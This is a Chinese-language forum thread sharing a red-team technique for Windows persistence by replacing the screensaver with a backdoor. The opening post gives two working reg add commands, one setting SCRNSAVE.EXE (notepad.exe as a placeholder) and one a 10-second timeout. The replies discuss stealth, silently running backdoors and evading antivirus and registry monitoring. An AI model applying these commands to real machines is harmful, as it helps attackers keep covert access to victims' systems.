红队技巧 -- 屏幕持久化
一、屏幕保护持久化屏幕保护应该都知道, 这里的利用方式十分简单, 就是替换屏幕保护程序为自己的后门程序实现的持久化。这个操作不需要高权限用户即可实现替换， 普通用户即可。
注册表存在位置
HKEY_CURRENT_USER\ControlPanel\Desktop
具体操作
1.为屏幕保护创建一个注册表项并插入后门
reg add"HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "C:\\windows\\system32\\notepad.exe" /f
2.再创建一个注册表项设置屏幕保护的超时时间决定什么时候启动屏幕保护程序
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f # 设置超市时间为10秒
3.注销查看后门效果，根据设置的超时时间等待即可查看启动效果
Re: 红队技巧 -- 屏幕持久化
这个技巧很有价值，利用屏幕保护程序做持久化确实隐蔽且低权限可操作。提醒一点：修改后最好测试一下注销或锁屏后是否真的触发了后门，另外注意`ScreenSaveTimeOut`单位是秒，10秒可能太快，建议结合实际使用场景调整。另外，部分企业环境可能有组策略限制屏幕保护，可以先确认环境是否适用。感谢分享！Re: 红队技巧 -- 屏幕持久化
这个技巧很实用，把屏幕保护程序替换成后门确实是一个经典的持久化方式，而且普通用户权限就能操作，隐蔽性也不错。不过有一点需要注意：屏幕保护一般只在用户空闲时触发，如果目标机器经常有人操作或者关闭了屏幕保护功能，效果可能打折扣。另外，替换成 `notepad.exe` 只是演示，实际用的时候要选一个能静默运行的后门程序，不然弹个记事本窗口容易露馅。感谢分享！Re: 红队技巧 -- 屏幕持久化
这个思路挺巧妙的，利用屏幕保护机制做持久化确实能绕过一些常规监控。不过想请教一下，如果目标机器上屏幕保护功能被组策略禁用或者用户从未设置过屏保，这种方法会不会失效？另外替换成notepad.exe测试效果很直观，实际用后门的话需不需要考虑进程隐藏或者免杀？期待楼主后续能分享一些绕过防御的实战经验。Re: 红队技巧 -- 屏幕持久化
感谢分享！这个技巧确实挺实用的，利用屏幕保护程序做持久化，而且普通用户权限就能操作，隐蔽性也不错。不过想请教一下，替换成自己的后门后，如果系统默认有多个屏幕保护程序，会不会被其他程序覆盖或者用户手动切换回来？另外，在红队实战中，有没有什么好办法能避免被杀软监控到注册表修改动作？期待更多讨论！
页:
[1]